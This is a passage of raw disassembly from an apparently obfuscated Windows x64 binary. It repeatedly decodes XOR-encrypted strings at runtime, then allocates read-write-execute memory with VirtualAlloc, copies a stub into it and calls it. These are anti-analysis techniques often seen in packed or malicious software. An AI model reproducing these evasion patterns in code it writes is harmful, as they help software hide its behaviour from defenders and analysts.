lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14024ff60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c1d60]
lea rcx, [0x14025b2e0]
mov qword [rsi + rax*8 + 0x2c13f0], rcx
mov qword [rsi + rax*8 + 0x2c39f0], r8
inc rax
mov qword [0x1402c1d60], rax
lea rdx, [rsp + 0xec]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x48]
xor rax, r15
mov qword [rsp + 0xc18], rax
lea rcx, [rsp + 0xac48]
mov qword [rcx], rax
movups xmm0, xmmword [0x1402abc50]
movups xmmword [rsp + 0x528], xmm0
movups xmm1, xmmword [0x1402abc60]
movups xmmword [rsp + 0x538], xmm1
movups xmm0, xmmword [0x1402abc70]
movups xmmword [rsp + 0x548], xmm0
movsd xmm0, qword [0x1402abc80]
movsd qword [rsp + 0x558], xmm0
movzx eax, byte [0x1402abc88]
mov byte [rsp + 0x560], al
mov r9d, edi
cmp dword [0x1402bd008], 2
jl 0x1402502b9
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x52c]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1402500c4
cmp r9d, 0x39
jge 0x140250327
movsxd rax, r9d
lea r10, [rsp + 0x528]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x39
jl 0x1402502d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x5e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5f8], xmm1
lea rax, [rsp + 0x528]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140250350
lea rdx, [rsp + 0x528]
lea rcx, [rsp + 0x5e8]
call fcn.14021d330
nop
lea rcx, [rsp + 0x5e8]
call fcn.14020e780
nop
lea rcx, [rsp + 0x5e8]
call fcn.140259200
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xf0], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xc00], xmm0
lea rcx, [rsp + 0xac48]
mov qword [rsp + 0xc08], r15
mov qword [rsp + 0xc10], rcx
mov rax, qword [rcx]
xor rax, r15
mov qword [rsp + 0x48], rax
mov qword [rsp + 0xc00], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x1402c13f0]
test rax, rax
je 0x14025041a
mov r8, rdi
lea rdx, [0x14025b2e0]
nop
cmp rax, rdx
je 0x140250409
inc ecx
mov r8d, ecx
mov rax, qword [rsi + rcx*8 + 0x2c13f0]
test rax, rax
jne 0x1402503f0
jmp 0x14025041a
mov r8, qword [rsi + r8*8 + 0x2c39f0]
test r8, r8
jne 0x140250506
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140250441
mov r8, rdi
jmp 0x1402504de
lea rax, [0x14025b2e0]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140250450
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c1d60]
lea rcx, [0x14025b2e0]
mov qword [rsi + rax*8 + 0x2c13f0], rcx
mov qword [rsi + rax*8 + 0x2c39f0], r8
inc rax
mov qword [0x1402c1d60], rax
lea rdx, [rsp + 0xf0]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x48]
xor rax, r15
mov qword [rsp + 0xc00], rax
lea rcx, [rsp + 0xac48]
mov qword [rcx], rax
movups xmm0, xmmword [str._14_k_5_____3_rC]
movups xmmword [rsp + 0x6f0], xmm0
movups xmm1, xmmword [0x1402ac518]
movups xmmword [rsp + 0x700], xmm1
movups xmm0, xmmword [0x1402ac528]
movups xmmword [rsp + 0x710], xmm0
movsd xmm0, qword [0x1402ac538]
movsd qword [rsp + 0x720], xmm0
cmp dword [0x1402bd008], 2
jl 0x140250792
mov edx, edi
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x6f4]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1402505a5
jmp 0x1402507f7
lea r10, [rsp + 0x6f0]
mov r9d, edi
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x1402507a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x5c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5d8], xmm1
lea rax, [rsp + 0x6f0]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140250820
lea rdx, [rsp + 0x6f0]
lea rcx, [rsp + 0x5c8]
call fcn.14021d330
nop
lea rcx, [rsp + 0x5c8]
call fcn.14020e780
nop
lea rcx, [rsp + 0x5c8]
call fcn.140259200
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xf4], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xbe8], xmm0
lea rcx, [rsp + 0xac48]
mov qword [rsp + 0xbf0], r15
mov qword [rsp + 0xbf8], rcx
mov rax, qword [rcx]
xor rax, r15
mov qword [rsp + 0x48], rax
mov qword [rsp + 0xbe8], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x1402c13f0]
test rax, rax
je 0x1402508ea
mov r8, rdi
lea rdx, [0x14025b2e0]
nop
cmp rax, rdx
je 0x1402508d9
inc ecx
mov r8d, ecx
mov rax, qword [rsi + rcx*8 + 0x2c13f0]
test rax, rax
jne 0x1402508c0
jmp 0x1402508ea
mov r8, qword [rsi + r8*8 + 0x2c39f0]
test r8, r8
jne 0x1402509d6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140250911
mov r8, rdi
jmp 0x1402509ae
lea rax, [0x14025b2e0]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140250920
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c1d60]
lea rcx, [0x14025b2e0]
mov qword [rsi + rax*8 + 0x2c13f0], rcx
mov qword [rsi + rax*8 + 0x2c39f0], r8
inc rax
mov qword [0x1402c1d60], rax
lea rdx, [rsp + 0xf4]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x48]
xor rax, r15
mov qword [rsp + 0xbe8], rax
lea rcx, [rsp + 0xac48]
mov qword [rcx], rax
movups xmm0, xmmword [0x1402aa0f8]
movups xmmword [rsp + 0x728], xmm0
movups xmm1, xmmword [0x1402aa108]
movups xmmword [rsp + 0x738], xmm1
movups xmm0, xmmword [0x1402aa118]
movups xmmword [rsp + 0x748], xmm0
movsd xmm0, qword [0x1402aa128]
movsd qword [rsp + 0x758], xmm0
mov ebx, dword [0x1402bd008]
cmp ebx, 2
jl 0x140250c64
mov edx, edi
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x72c]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140250a77
jmp 0x140250cc7
lea r10, [rsp + 0x728]
mov r9d, edi
nop
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x140250c70
xorps xmm0, xmm0
movups xmmword [rsp + 0x5a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5b8], xmm1
lea rax, [rsp + 0x728]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140250cf0
lea rdx, [rsp + 0x728]
lea rcx, [rsp + 0x5a8]
call fcn.14021d330
nop
lea rcx, [rsp + 0x5a8]
call fcn.14020e780
nop
lea rcx, [rsp + 0x5a8]
call fcn.140259200
movups xmm0, xmmword [0x1402a9918]
movups xmmword [rsp + 0x120], xmm0
movzx eax, word [0x1402a9928]
mov word [rsp + 0x130], ax
cmp byte [0x1402a9929], 0
je 0x140250ff7
mov r9d, edi
cmp ebx, 2
jl 0x140250f85
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x124]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140250d90
cmp r9d, 0x12
jge 0x140250ff7
movsxd rax, r9d
lea r10, [rsp + 0x120]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x140250fa0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2b8], xmm0
mov qword [rsp + 0x2c8], rdi
mov qword [rsp + 0x2d0], rdi
lea rax, [rsp + 0x120]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140251020
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x2b8]
call fcn.14021d330
lea rcx, [rsp + 0x2b8]
call fcn.140210b20
xorps xmm0, xmm0
movups xmmword [rsp + 0xc30], xmm0
lea rax, [rsp + 0xac48]
mov qword [rsp + 0xc38], r15
mov qword [rsp + 0xc40], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0xc30], rbx
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402c3060]
test rax, rax
je 0x1402510ba
mov rdx, rdi
cmp rax, r13
je 0x1402510a9
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2c3060]
test rax, rax
jne 0x140251091
jmp 0x1402510ba
mov rdx, qword [rsi + rdx*8 + 0x2c5000]
test rdx, rdx
jne 0x14025119f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1402510e1
mov rdx, rdi
jmp 0x14025117e
mov rax, r13
mov rcx, rdx
mov r8d, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x1402510f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d28]
mov qword [rsi + rax*8 + 0x2c3060], r13
mov qword [rsi + rax*8 + 0x2c5000], rdx
inc rax
mov qword [0x1402c3d28], rax
lea rcx, [0x140223e20]
call rdx
nop
xor rbx, r15
mov qword [rsp + 0xc30], rbx
lea rax, [rsp + 0xac48]
